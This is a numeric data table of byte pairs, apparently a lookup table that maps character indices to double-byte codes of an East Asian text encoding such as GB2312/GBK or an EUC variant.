185,2,117,255,186,2,239,217,187,2,109,255,188,2,143,203,
189,2,150,251,190,2,151,98,191,2,76,8,192,2,133,241,
193,2,86,66,194,2,222,82,195,2,229,139,196,2,39,50,
197,2,152,127,198,2,180,44,199,2,204,251,200,2,180,223,
201,2,246,236,202,2,56,224,203,2,197,225,204,2,201,223,
205,2,167,31,206,2,251,74,207,2,233,209,208,2,101,46,
209,2,172,186,210,2,101,255,211,2,76,98,212,2,235,102,
213,2,178,239,214,2,251,6,215,2,2,12,216,2,116,255,
217,2,127,134,218,2,219,40,219,2,166,254,220,2,221,239,
221,2,79,64,222,2,235,138,223,2,7,215,224,2,207,207,
225,2,39,170,226,2,0,151,227,2,25,221,228,2,221,207,
229,2,215,157,230,2,120,112,231,2,238,213,232,2,251,159,
233,2,207,255,234,2,217,255,235,2,151,254,236,2,247,174,
237,2,219,255,238,2,230,206,239,2,63,54,240,2,60,8,
241,2,62,247,242,2,255,244,243,2,180,219,244,2,159,210,
245,2,31,214,246,2,159,191,247,2,108,250,248,2,255,34,
249,2,61,31,250,2,255,31,251,2,100,147,252,2,182,247,
253,2,87,125,254,2,251,121,255,2,105,190,0,3,253,101,
1,3,145,167,2,3,110,127,3,3,212,218,4,3,251,85,
5,3,87,91,6,3,211,95,7,3,180,222,8,3,117,227,
9,3,240,119,10,3,229,228,11,3,196,220,12,3,255,29,
13,3,29,230,14,3,17,120,15,3,114,196,16,3,165,244,
17,3,107,250,18,3,136,34,19,3,166,222,20,3,253,246,
21,3,27,25,22,3,100,114,23,3,54,32,24,3,239,96,
25,3,181,132,26,3,184,81,27,3,4,112,28,3,27,221,
29,3,20,84,30,3,194,244,31,3,186,229,32,3,154,183,
33,3,47,252,34,3,226,95,35,3,127,140,36,3,211,149,
37,3,220,172,38,3,195,80,39,3,7,214,40,3,225,62,
41,3,50,252,42,3,243,143,43,3,251,253,44,3,165,43,
45,3,132,222,46,3,51,252,47,3,122,57,48,3,194,207,
49,3,27,239,50,3,151,143,51,3,118,229,52,3,255,62,
53,3,3,25,54,3,141,127,55,3,178,223,56,3,131,232,
57,3,183,255,58,3,253,243,59,3,225,178,60,3,175,46,
61,3,113,231,62,3,127,13,63,3,255,193,64,3,9,214,
65,3,105,158,66,3,248,255,67,3,46,190,68,3,111,191,
69,3,83,239,70,3,212,141,71,3,18,203,72,3,233,255,
73,3,123,162,74,3,227,251,75,3,119,32,76,3,241,246,
77,3,191,4,78,3,208,234,79,3,247,255,80,3,35,180,
81,3,119,61,82,3,247,159,83,3,208,46,84,3,113,39,
85,3,252,87,86,3,223,250,87,3,158,138,88,3,235,29,
89,3,218,231,90,3,73,180,91,3,127,255,92,3,187,114,
93,3,45,114,94,3,206,170,95,3,181,201,96,3,247,105,
97,3,207,254,98,3,181,231,99,3,252,247,100,3,197,138,
101,3,116,77,102,3,253,175,103,3,255,127,104,3,79,252,
105,3,47,246,106,3,255,249,107,3,203,126,108,3,238,69,
109,3,111,175,110,3,110,187,111,3,202,254,112,3,204,252,
113,3,255,239,114,3,252,252,115,3,166,119,116,3,119,191,
117,3,118,14,118,3,51,15,119,3,167,248,120,3,207,249,
121,3,238,238,122,3,250,108,123,3,117,231,124,3,230,238,
125,3,9,251,126,3,206,247,127,3,127,125,128,3,0,0,
129,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,128,3,0,0,129,3,0,0,130,3,0,0,
131,3,64,253,132,3,184,240,133,3,63,185,134,3,251,111,
135,3,167,227,136,3,237,253,137,3,211,116,138,3,94,231,
139,3,84,179,140,3,107,213,141,3,52,136,142,3,107,219,
143,3,13,254,144,3,251,253,145,3,255,243,146,3,83,81,
147,3,249,254,148,3,81,4,149,3,68,197,150,3,87,161,
151,3,255,226,152,3,242,91,153,3,72,125,154,3,230,190,
155,3,22,7,156,3,88,241,157,3,244,111,158,3,51,224,
159,3,95,119,160,3,236,15,161,3,192,93,162,3,153,146,
163,3,43,86,164,3,224,92,165,3,191,128,166,3,227,235,
167,3,147,135,168,3,127,205,169,3,105,125,170,3,29,67,
171,3,61,237,172,3,109,239,173,3,170,239,174,3,187,61,
175,3,127,255,176,3,175,247,177,3,221,255,178,3,6,95,
179,3,252,7,180,3,249,200,181,3,66,183,182,3,221,237,
183,3,214,233,184,3,155,110,185,3,86,175,186,3,251,255,
187,3,159,255,188,3,96,0,189,3,191,222,190,3,255,173,
191,3,218,110,192,3,255,79,193,3,192,249,194,3,14,249,
195,3,255,55,196,3,189,230,197,3,255,1,198,3,0,0,
199,3,169,185,200,3,245,102,201,3,124,255,202,3,197,63,
203,3,34,224,204,3,163,214,205,3,91,177,206,3,1,143,
207,3,215,59,208,3,218,252,209,3,42,2,210,3,5,150,
211,3,34,51,212,3,224,231,213,3,198,31,214,3,255,254,
215,3,251,55,216,3,54,8,217,3,61,210,218,3,66,167,
219,3,22,255,220,3,215,191,221,3,75,22,222,3,128,212,
223,3,151,188,224,3,205,80,225,3,187,213,226,3,254,188,
227,3,124,160,228,3,75,207,229,3,239,247,230,3,31,175,
231,3,128,238,232,3,243,159,233,3,155,187,234,3,245,255,
235,3,208,247,236,3,134,238,237,3,33,181,238,3,113,39,
239,3,200,222,240,3,245,108,241,3,207,79,242,3,134,162,
243,3,65,181,244,3,71,96,245,3,253,247,246,3,159,154,
247,3,226,14,248,3,0,61,249,3,106,21,250,3,218,175,
251,3,251,131,252,3,251,106,253,3,182,222,254,3,185,242,
255,3,0,127,0,4,253,239,1,4,31,215,2,4,42,195,
3,4,150,254,4,4,41,122,5,4,168,163,6,4,123,197,
7,4,86,137,8,4,252,59,9,4,169,195,10,4,141,248,
11,4,42,236,12,4,211,79,13,4,101,150,14,4,29,172,
15,4,206,207,16,4,106,238,17,4,127,223,18,4,142,97,
19,4,103,30,20,4,127,127,21,4,238,255,22,4,31,11,
23,4,167,234,24,4,7,41,25,4,196,223,26,4,21,77,
27,4,179,228,28,4,63,252,29,4,62,251,30,4,130,129,
31,4,191,115,32,4,214,244,33,4,109,119,34,4,225,13,
35,4,103,79,36,4,127,178,37,4,196,220,38,4,95,236,
39,4,189,252,40,4,202,175,41,4,249,157,42,4,227,150,
43,4,253,180,44,4,1,0,45,4,244,53,46,4,232,42,
47,4,90,163,48,4,189,213,49,4,255,233,50,4,125,188,
51,4,250,124,52,4,235,99,53,4,255,121,54,4,239,122,
55,4,239,222,56,4,253,186,57,4,239,199,58,4,251,243,
59,4,205,218,60,4,220,191,61,4,254,252,62,4,215,120,
63,4,251,213,64,4,247,92,65,4,211,254,66,4,67,57,
67,4,137,82,68,4,126,243,69,4,92,223,70,4,72,184,
71,4,215,115,72,4,59,252,73,4,125,214,74,4,0,0,
75,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,74,4,0,0,75,4,0,0,76,4,0,0,
77,4,128,231,78,4,226,223,79,4,187,47,80,4,94,63,
81,4,104,95,82,4,228,126,83,4,29,123,84,4,151,255,
85,4,221,191,86,4,255,239,87,4,106,126,88,4,95,181,
89,4,165,253,90,4,186,175,91,4,221,8,92,4,0,0,
93,4,0,0,92,4,0,0,93,4,0,0,94,4,240,122,
95,4,155,128,96,4,54,37,97,4,35,194,98,4,73,153,
99,4,172,94,100,4,229,221,101,4,242,174,102,4,186,157,
103,4,63,176,104,4,114,143,105,4,83,224,106,4,207,4,
107,4,251,35,108,4,151,255,109,4,49,250,110,4,31,178,
111,4,87,30,112,4,190,46,113,4,63,110,114,4,134,254,
115,4,43,76,116,4,251,189,117,4,22,152,118,4,12,105,
119,4,131,127,120,4,173,151,121,4,253,251,122,4,235,247,
123,4,248,207,124,4,255,242,125,4,190,241,126,4,62,0,
127,4,0,0,127,4,0,0,128,4,0,248,129,4,251,225,
130,4,231,221,131,4,119,108,132,4,63,4,133,4,125,239,
134,4,243,111,135,4,127,249,136,4,251,239,137,4,143,247,
138,4,254,211,139,4,190,254,140,4,127,123,141,4,239,243,
142,4,245,183,143,4,191,223,144,4,163,11,145,4,111,133,
146,4,127,97,147,4,186,85,148,4,164,187,149,4,54,169,
150,4,241,224,151,4,117,33,152,4,213,87,153,4,173,226,
154,4,215,54,155,4,136,255,156,4,220,15,157,4,190,54,
158,4,188,15,159,4,238,110,160,4,191,81,161,4,86,253,
162,4,127,189,163,4,239,251,164,4,219,255,165,4,250,246,
166,4,227,186,167,4,243,118,168,4,127,113,169,4,120,211,
170,4,249,215,171,4,253,239,172,4,131,127,173,4,247,195,
174,4,227,251,175,4,41,103,176,4,238,159,177,4,177,169,
178,4,196,191,179,4,239,249,180,4,173,179,181,4,187,119,
182,4,13,159,183,4,69,161,184,4,51,247,185,4,255,223,
186,4,252,12,187,4,144,43,188,4,247,93,189,4,177,246,
190,4,123,244,191,4,7,189,192,4,244,77,193,4,218,123,
194,4,113,6,195,4,250,63,196,4,203,243,197,4,246,1,
198,4,128,47,199,4,158,227,200,4,249,135,201,4,2,200,
202,4,126,173,203,4,58,21,204,4,46,222,205,4,15,237,
206,4,167,240,207,4,26,0,208,4,0,0,209,4,0,0,
210,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,208,4,0,0,209,4,0,0,210,4,0,0,
211,4,128,67,212,4,157,255,213,4,90,227,214,4,255,59,
215,4,84,254,216,4,200,63,217,4,127,247,218,4,119,0,
219,4,0,0,219,4,0,0,220,4,0,112,221,4,118,213,
222,4,142,191,223,4,23,184,224,4,213,249,225,4,126,84,
226,4,253,253,227,4,126,239,228,4,242,191,229,4,249,199,
230,4,223,31,231,4,243,126,232,4,102,255,233,4,12,143,
234,4,199,14,235,4,253,231,236,4,74,126,237,4,158,5,
238,4,15,99,239,4,94,199,240,4,228,95,241,4,223,111,
242,4,218,191,243,4,115,170,244,4,225,215,245,4,77,121,
246,4,126,215,247,4,250,127,248,4,155,123,249,4,19,224,
250,4,254,141,251,4,238,245,252,4,223,87,253,4,123,248,
254,4,189,121,255,4,208,252,0,5,254,79,1,5,236,156,
2,5,27,0,3,5,0,0,4,5,0,0,5,5,0,237,
6,5,211,141,7,5,124,17,8,5,0,152,9,5,238,238,
10,5,92,112,11,5,172,23,12,5,255,253,13,5,215,89,
14,5,62,126,15,5,231,123,16,5,183,219,17,5,1,0,
18,5,0,0,18,5,0,0,19,5,192,171,20,5,96,113,
21,5,63,182,22,5,122,3,23,5,63,255,24,5,132,124,
25,5,55,235,26,5,62,216,27,5,79,66,28,5,157,105,
29,5,233,65,30,5,191,124,31,5,242,172,32,5,52,14,
33,5,0,0,33,5,0,0,34,5,0,0,35,5,0,245,
36,5,117,219,37,5,91,193,38,5,255,217,39,5,253,254,
40,5,190,174,41,5,127,123,42,5,69,159,43,5,237,239,
44,5,190,62,45,5,62,249,46,5,242,77,47,5,106,253,
48,5,184,131,49,5,249,238,50,5,223,228,51,5,193,127,
52,5,151,219,53,5,195,199,54,5,215,169,55,5,190,141,
56,5,175,167,57,5,85,191,58,5,127,95,59,5,254,231,
60,5,231,110,61,5,250,199,62,5,221,253,63,5,137,79,
64,5,229,9,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,65,5,0,0,66,5,0,0,67,5,224,26,
68,5,221,2,69,5,204,75,70,5,166,249,71,5,72,157,
72,5,29,252,73,5,254,5,74,5,27,242,75,5,63,158,
76,5,197,92,77,5,216,230,78,5,236,5,79,5,18,222,
80,5,54,159,81,5,222,134,82,5,248,198,83,5,225,234,
84,5,29,103,85,5,132,68,86,5,103,126,87,5,0,0,
88,5,0,0,87,5,0,0,88,5,0,0,89,5,0,0,
90,5,32,191,91,5,191,217,92,5,238,233,93,5,112,247,
94,5,57,223,95,5,80,249,96,5,53,251,97,5,177,241,
98,5,247,187,99,5,140,195,100,5,255,142,101,5,71,156,
102,5,150,254,103,5,250,204,104,5,252,229,105,5,207,247,
106,5,239,36,107,5,0,160,108,5,247,112,109,5,47,0,
110,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,111,5,122,223,112,5,255,255,113,5,255,255,
114,5,255,255,115,5,255,255,116,5,255,127,117,5,254,255,
118,5,255,255,119,5,255,255,120,5,255,255,0,0,0,0,
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0,0,0,0,0,0,1,0,2,0,3,0,4,0,5,0,
6,0,7,0,8,0,9,0,10,0,11,0,12,0,13,0,
14,0,15,0,16,0,17,0,18,0,19,0,20,0,21,0,
22,0,23,0,24,0,25,0,26,0,27,0,28,0,29,0,
30,0,31,0,32,0,33,0,34,0,35,0,36,0,37,0,
38,0,39,0,40,0,41,0,42,0,43,0,44,0,45,0,
46,0,47,0,48,0,49,0,50,0,51,0,52,0,53,0,
54,0,55,0,56,0,57,0,58,0,59,0,60,0,61,0,
62,0,63,0,64,0,65,0,66,0,67,0,68,0,69,0,
70,0,71,0,72,0,73,0,74,0,75,0,76,0,77,0,
78,0,79,0,80,0,81,0,82,0,83,0,84,0,85,0,
86,0,87,0,88,0,89,0,90,0,91,0,92,0,93,0,
94,0,95,0,96,0,97,0,98,0,99,0,100,0,101,0,
102,0,103,0,104,0,105,0,106,0,107,0,108,0,109,0,
110,0,111,0,112,0,113,0,114,0,115,0,116,0,117,0,
118,0,119,0,120,0,121,0,122,0,123,0,124,0,125,0,
126,0,127,0,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,0,0,66,162,0,0,0,0,112,162,0,0,
67,162,248,161,175,161,109,162,108,162,0,0,0,0,0,0,
110,162,52,162,235,161,222,161,0,0,0,0,173,161,0,0,
249,162,0,0,49,162,0,0,107,162,0,0,0,0,0,0,
0,0,68,162,34,170,33,170,36,170,42,170,35,170,41,170,
33,169,46,170,50,170,49,170,52,170,51,170,64,170,63,170,
66,170,65,170,0,0,80,170,82,170,81,170,84,170,88,170,
83,170,223,161,44,169,99,170,98,170,101,170,100,170,114,170,
48,169,78,169,34,171,33,171,36,171,42,171,35,171,41,171,
65,169,46,171,50,171,49,171,52,171,51,171,64,171,63,171,
66,171,65,171,67,169,80,171,82,171,81,171,84,171,88,171,
83,171,224,161,76,169,99,171,98,171,101,171,100,171,114,171,
80,169,115,171,39,170,39,171,37,170,37,171,40,170,40,171,
43,170,43,171,44,170,44,171,47,170,47,171,45,170,45,171,
48,170,48,171,34,169,66,169,55,170,55,171,0,0,0,0,
54,170,54,171,56,170,56,171,53,170,53,171,58,170,58,171,
59,170,59,171,61,170,61,171,60,170,0,0,62,170,62,171,
36,169,68,169,71,170,71,171,69,170,69,171,0,0,0,0,
70,170,70,171,68,170,69,169,38,169,70,169,72,170,72,171,
73,170,73,171,71,169,74,170,74,171,76,170,76,171,75,170,
75,171,41,169,73,169,40,169,72,169,77,170,77,171,79,170,
79,171,78,170,78,171,74,169,43,169,75,169,87,170,87,171,
0,0,0,0,86,170,86,171,45,169,77,169,89,170,89,171,
91,170,91,171,90,170,90,171,92,170,92,171,93,170,93,171,
95,170,95,171,94,170,94,171,97,170,97,171,96,170,96,171,
47,169,79,169,108,170,108,171,105,170,105,171,102,170,102,171,
107,170,107,171,104,170,104,171,106,170,106,171,113,170,113,171,
116,170,116,171,115,170,117,170,117,171,119,170,119,171,118,170,
118,171,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,38,170,
38,171,67,170,67,171,85,170,85,171,103,170,103,171,112,170,
112,171,109,170,109,171,111,170,111,171,110,170,110,171,0,0,
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0,0,48,162,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,47,162,50,162,54,162,53,162,0,0,51,162,
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97,166,0,0,98,166,99,166,100,166,0,0,103,166,0,0,
105,166,108,166,118,166,161,166,162,166,163,166,164,166,165,166,
166,166,167,166,168,166,169,166,170,166,171,166,172,166,173,166,
174,166,175,166,176,166,177,166,0,0,178,166,179,166,180,166,
181,166,182,166,183,166,184,166,101,166,106,166,113,166,114,166,
115,166,116,166,123,166,193,166,194,166,195,166,196,166,197,166,
198,166,199,166,200,166,201,166,202,166,203,166,204,166,205,166,
206,166,207,166,208,166,209,166,120,166,210,166,211,166,212,166,
213,166,214,166,215,166,216,166,117,166,122,166,119,166,121,166,
124,166,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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70,167,71,167,72,167,73,167,74,167,75,167,76,167,0,0,
77,167,78,167,161,167,162,167,163,167,164,167,165,167,166,167,
168,167,169,167,170,167,171,167,172,167,173,167,174,167,175,167,
176,167,177,167,178,167,179,167,180,167,181,167,182,167,183,167,
184,167,185,167,186,167,187,167,188,167,189,167,190,167,191,167,
192,167,193,167,209,167,210,167,211,167,212,167,213,167,214,167,
216,167,217,167,218,167,219,167,220,167,221,167,222,167,223,167,
224,167,225,167,226,167,227,167,228,167,229,167,230,167,231,167,
232,167,233,167,234,167,235,167,236,167,237,167,238,167,239,167,
240,167,241,167,0,0,215,167,114,167,115,167,116,167,117,167,
118,167,119,167,120,167,121,167,122,167,123,167,124,167,0,0,
125,167,126,167,0,0,0,0,0,0,0,0,0,0,0,0,
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194,161,0,0,198,161,199,161,0,0,0,0,200,161,201,161,
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196,161,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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113,162,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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231,161,0,0,220,162,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,254,162,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,0,0,0,0,0,0,0,0,0,0,250,161,
249,161,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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0,0,0,0,161,161,162,161,163,161,183,161,0,0,185,161,
186,161,187,161,210,161,211,161,212,161,213,161,214,161,215,161,
216,161,217,161,218,161,219,161,169,162,174,162,204,161,205,161,
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0,0,0,0,0,0,161,164,162,164,163,164,164,164,165,164,
166,164,167,164,168,164,169,164,170,164,171,164,172,164,173,164,
174,164,175,164,176,164,177,164,178,164,179,164,180,164,181,164,
182,164,183,164,184,164,185,164,186,164,187,164,188,164,189,164,
190,164,191,164,192,164,193,164,194,164,195,164,196,164,197,164,
198,164,199,164,200,164,201,164,202,164,203,164,204,164,205,164,
206,164,207,164,208,164,209,164,210,164,211,164,212,164,213,164,
214,164,215,164,216,164,217,164,218,164,219,164,220,164,221,164,
222,164,223,164,224,164,225,164,226,164,227,164,228,164,229,164,
230,164,231,164,232,164,233,164,234,164,235,164,236,164,237,164,
238,164,239,164,240,164,241,164,242,164,243,164,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,171,161,172,161,181,161,
182,161,0,0,0,0,161,165,162,165,163,165,164,165,165,165,
166,165,167,165,168,165,169,165,170,165,171,165,172,165,173,165,
174,165,175,165,176,165,177,165,178,165,179,165,180,165,181,165,
182,165,183,165,184,165,185,165,186,165,187,165,188,165,189,165,
190,165,191,165,192,165,193,165,194,165,195,165,196,165,197,165,
198,165,199,165,200,165,201,165,202,165,203,165,204,165,205,165,
206,165,207,165,208,165,209,165,210,165,211,165,212,165,213,165,
214,165,215,165,216,165,217,165,218,165,219,165,220,165,221,165,
222,165,223,165,224,165,225,165,226,165,227,165,228,165,229,165,
230,165,231,165,232,165,233,165,234,165,235,165,236,165,237,165,
238,165,239,165,240,165,241,165,242,165,243,165,244,165,245,165,
246,165,0,0,0,0,0,0,0,0,166,161,188,161,179,161,
180,161,0,0,236,176,250,195,33,176,183,188,34,176,35,176,
0,0,252,203,230,190,176,187,229,190,188,178,36,176,212,201,
191,205,0,0,162,208,175,177,37,176,0,0,238,179,163,208,
164,192,194,210,214,181,186,202,0,0,0,0,0,0,0,0,
231,190,38,176,0,0,190,206,0,0,39,176,40,176,0,0,
194,202,0,0,41,176,0,0,164,208,42,176,0,0,230,195,
43,176,44,176,45,176,165,208,250,182,0,0,0,0,46,176,
166,208,0,0,221,180,176,195,0,0,231,188,167,208,0,0,
0,0,168,208,47,176,48,176,169,208,181,199,49,176,215,181,
0,0,50,176,0,0,0,0,0,0,183,199,0,0,227,198,
195,184,179,203,0,0,51,176,0,0,0,0,0,0,201,233,
170,208,232,190,171,208,181,178,52,176,0,0,53,176,229,182,
240,184,233,204,0,0,0,0,166,214,54,176,0,0,0,0,
0,0,0,0,55,176,56,176,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,240,205,0,0,253,198,57,176,58,176,
0,0,0,0,0,0,59,176,0,0,0,0,0,0,0,0,
165,180,60,176,181,181,0,0,172,208,0,0,0,0,173,208,
187,206,0,0,189,205,232,193,175,208,246,187,243,198,61,176,
178,208,0,0,0,0,190,177,223,184,0,0,222,184,230,176,
62,176,63,176,203,207,202,207,0,0,179,186,161,176,64,176,
179,208,180,208,181,208,180,203,182,208,0,0,242,184,231,176,
242,203,0,0,252,181,0,0,0,0,253,181,254,181,226,196,
188,206,65,176,183,208,0,0,0,0,184,208,0,0,0,0,
185,208,0,0,0,0,66,176,205,191,0,0,0,0,0,0,
0,0,0,0,186,189,206,191,190,208,67,176,188,208,0,0,
189,208,216,181,0,0,0,0,163,186,240,178,0,0,187,208,
186,208,169,202,68,176,0,0,0,0,0,0,198,187,197,187,
190,194,191,208,213,201,231,192,69,176,70,176,0,0,184,161,
192,208,194,208,71,176,72,176,73,176,229,194,225,206,202,176,
0,0,0,0,74,176,0,0,0,0,0,0,0,0,193,208,
190,178,75,176,196,182,76,176,231,195,77,176,0,0,78,176,
239,183,195,208,0,0,0,0,0,0,164,199,0,0,79,176,
80,176,81,176,82,176,235,180,83,176,84,176,0,0,0,0,
0,0,0,0,85,176,196,208,203,176,86,176,87,176,224,184,
236,180,250,201,178,200,217,181,88,176,0,0,0,0,89,176,
90,176,91,176,0,0,92,176,241,178,0,0,231,208,193,197,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
93,176,236,199,198,208,94,176,0,0,96,176,188,200,97,176,
226,206,98,176,173,191,99,176,199,187,100,176,247,187,192,178,
101,176,0,0,102,176,0,0,103,176,209,196,0,0,0,0,
162,195,202,208,104,176,105,176,0,0,106,176,107,176,204,176,
227,196,187,189,180,186,164,205,108,176,206,194,109,176,191,178,
110,176,201,208,111,176,190,205,197,208,199,208,238,186,200,208,
164,213,112,176,95,176,0,0,0,0,113,176,0,0,0,0,
0,0,0,0,0,0,208,208,114,176,0,0,115,176,0,0,
116,176,211,208,209,208,117,176,0,0,194,178,0,0,187,202,
203,208,118,176,119,176,120,176,121,176,207,208,243,184,122,176,
123,176,200,187,0,0,124,176,125,176,166,180,126,176,33,177,
212,208,0,0,204,208,34,177,35,177,227,206,36,177,248,187,
37,177,205,208,38,177,210,208,39,177,40,177,41,177,0,0,
213,208,42,177,206,208,43,177,44,177,161,182,0,0,205,176,
45,177,46,177,162,182,193,178,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,165,213,0,0,249,203,
238,201,244,184,0,0,0,0,47,177,0,0,0,0,175,191,
183,206,48,177,0,0,49,177,0,0,50,177,51,177,52,177,
53,177,216,202,54,177,55,177,184,183,165,194,228,178,56,177,
57,177,0,0,58,177,59,177,211,189,60,177,61,177,62,177,
217,208,63,177,222,208,220,208,64,177,0,0,215,208,0,0,
0,0,175,194,218,208,0,0,221,208,219,208,65,177,221,202,
0,0,216,208,66,177,174,191,67,177,243,203,223,208,224,208,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
164,189,237,208,68,177,0,0,69,177,208,199,0,0,182,201,
232,208,0,0,240,202,0,0,182,178,0,0,70,177,71,177,
236,208,72,177,73,177,74,177,0,0,0,0,75,177,230,208,
239,208,76,177,0,0,210,193,77,177,196,184,78,177,220,199,
79,177,199,224,80,177,238,208,221,197,81,177,227,208,0,0,
246,184,82,177,83,177,245,184,225,208,84,177,85,177,86,177,
87,177,218,188,0,0,233,208,88,177,239,202,205,195,229,208,
241,183,89,177,226,208,234,208,228,208,209,206,235,208,193,207,
90,177,0,0,91,177,0,0,92,177,93,177,0,0,94,177,
230,182,0,0,0,0,240,183,0,0,118,177,0,0,0,0,
0,0,0,0,95,177,96,177,97,177,240,208,0,0,98,177,
99,177,241,208,245,208,206,176,100,177,0,0,101,177,0,0,
102,177,208,202,244,208,103,177,104,177,105,177,0,0,243,208,
247,208,106,177,0,0,107,177,246,208,0,0,228,196,0,0,
0,0,108,177,109,177,0,0,110,177,111,177,0,0,242,183,
112,177,113,177,0,0,0,0,114,177,0,0,248,208,115,177,
0,0,0,0,116,177,117,177,197,188,0,0,166,194,229,196,
246,182,0,0,249,208,0,0,0,0,0,0,0,0,182,181,
0,0,0,0,250,208,119,177,0,0,120,177,121,177,252,208,
122,177,0,0,0,0,0,0,123,177,0,0,0,0,181,203,
124,177,125,177,126,177,230,183,33,178,34,178,35,178,0,0,
36,178,0,0,177,187,247,200,251,208,37,178,38,178,0,0,
39,178,40,178,41,178,42,178,43,178,0,0,0,0,0,0,
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0,0,45,178,46,178,0,0,254,208,163,209,253,208,196,186,
0,0,253,189,0,0,47,178,48,178,0,0,0,0,49,178,
185,183,0,0,50,178,0,0,164,209,51,178,52,178,207,182,
0,0,53,178,0,0,161,209,162,209,0,0,54,178,175,198,
55,178,252,193,56,178,163,182,0,0,57,178,58,178,205,203,
165,209,0,0,59,178,0,0,189,206,0,0,60,178,61,178,
166,209,62,178,0,0,0,0,63,178,169,209,64,178,167,209,
65,178,206,193,66,178,67,178,0,0,0,0,0,0,168,209,
170,209,68,178,0,0,69,178,81,178,0,0,0,0,172,209,
70,178,0,0,0,0,171,209,71,178,200,202,0,0,0,0,
72,178,0,0,183,181,174,209,175,209,73,178,175,178,0,0,
74,178,75,178,76,178,173,209,0,0,77,178,78,178,79,178,
80,178,0,0,82,178,0,0,244,188,0,0,178,209,177,209,
176,209,83,178,214,208,84,178,179,209,85,178,86,178,87,178,
88,178,254,189,0,0,180,209,0,0,89,178,0,0,0,0,
0,0,90,178,91,178,0,0,165,205,0,0,92,178,93,178,
0,0,94,178,0,0,95,178,217,204,96,178,97,178,98,178,
0,0,182,209,99,178,100,178,181,209,184,209,183,209,0,0,
0,0,185,209,186,209,244,176,101,178,181,184,187,183,188,189,
251,195,164,182,232,192,247,184,102,178,238,185,188,209,200,204,
198,197,103,178,249,187,0,0,187,209,104,178,189,209,105,178,
0,0,106,178,107,178,0,0,222,197,0,0,245,179,0,0,
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110,178,0,0,180,193,192,209,193,209,172,200,248,184,187,207,
194,209,0,0,0,0,166,182,0,0,0,0,0,0,188,202,
182,194,241,182,181,197,0,0,0,0,0,0,243,183,0,0,
111,178,0,0,195,209,0,0,196,209,112,178,113,178,226,198,
223,177,0,0,0,0,199,209,253,186,114,178,198,209,198,186,
115,178,200,209,238,230,201,209,193,203,202,209,0,0,203,209,
204,209,233,190,116,178,204,188,0,0,0,0,0,0,117,178,
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206,209,0,0,218,201,208,209,209,209,210,209,223,197,120,178,
0,0,0,0,214,209,212,209,213,209,211,209,227,186,215,209,
234,204,228,206,121,178,0,0,122,178,0,0,123,178,216,209,
124,178,125,178,0,0,0,0,126,178,0,0,168,192,217,209,
218,189,0,0,33,179,218,209,0,0,252,195,191,206,224,197,
0,0,34,179,0,0,35,179,36,179,37,179,0,0,38,179,
197,210,0,0,39,179,0,0,0,0,219,209,165,244,197,182,
40,179,0,0,220,209,222,203,41,179,0,0,0,0,42,179,
232,189,252,194,0,0,222,209,228,198,0,0,0,0,223,209,
43,179,0,0,224,209,174,179,44,179,45,179,46,179,225,209,
167,182,47,179,204,198,250,177,208,189,0,0,0,0,161,200,
226,209,0,0,225,197,48,179,49,179,207,191,227,209,50,179,
172,202,218,192,162,180,0,0,169,180,228,209,0,0,0,0,
230,209,0,0,0,0,186,183,51,179,52,179,229,209,53,179,
54,179,243,206,55,179,0,0,0,0,0,0,0,0,233,189,
0,0,0,0,0,0,0,0,56,179,0,0,189,200,204,202,
0,0,231,209,57,179,248,205,232,209,0,0,0,0,0,0,
233,209,0,0,254,197,58,179,59,179,234,209,0,0,60,179,
169,192,254,186,244,183,235,209,201,187,239,185,61,179,0,0,
0,0,0,0,0,0,0,0,0,0,230,196,237,209,62,179,
0,0,167,194,0,0,63,179,239,186,238,209,239,209,176,193,
0,0,236,209,0,0,0,0,0,0,0,0,241,209,64,179,
182,203,65,179,66,179,0,0,67,179,228,185,68,179,0,0,
240,209,69,179,70,179,71,179,0,0,245,183,222,186,237,199,
72,179,0,0,0,0,244,209,242,209,0,0,0,0,0,0,
73,179,251,201,234,190,251,209,228,179,245,209,243,209,207,193,
0,0,74,179,75,179,76,179,0,0,0,0,0,0,247,209,
0,0,246,209,77,179,0,0,78,179,196,179,0,0,79,179,
0,0,224,183,252,209,173,206,80,179,0,0,81,179,248,209,
0,0,0,0,0,0,253,209,250,209,82,179,249,209,83,179,
84,179,85,179,86,179,0,0,87,179,207,206,88,179,0,0,
0,0,249,184,195,178,0,0,0,0,244,206,89,179,90,179,
91,179,92,179,0,0,245,189,216,197,229,185,162,210,163,210,
0,0,93,179,94,179,229,206,0,0,0,0,171,207,165,210,
95,179,96,179,97,179,250,184,98,179,99,179,164,210,100,179,
175,179,0,0,101,179,166,210,0,0,214,203,102,179,188,196,
103,179,166,205,104,179,217,202,0,0,0,0,105,179,167,210,
0,0,106,179,0,0,107,179,213,240,0,0,108,179,176,198,
109,179,168,210,170,180,179,204,0,0,110,179,111,179,161,190,
169,210,231,202,173,210,112,179,170,192,170,210,208,182,113,179,
171,210,171,180,114,179,115,179,116,179,0,0,117,179,0,0,
0,0,0,0,118,179,119,179,174,183,174,210,120,179,175,210,
121,179,122,179,176,210,177,210,219,188,0,0,0,0,0,0,
251,184,222,204,123,179,232,204,247,198,124,179,0,0,241,202,
178,210,0,0,179,210,0,0,125,179,126,179,33,180,181,210,
0,0,183,210,182,210,34,180,0,0,35,180,0,0,184,210,
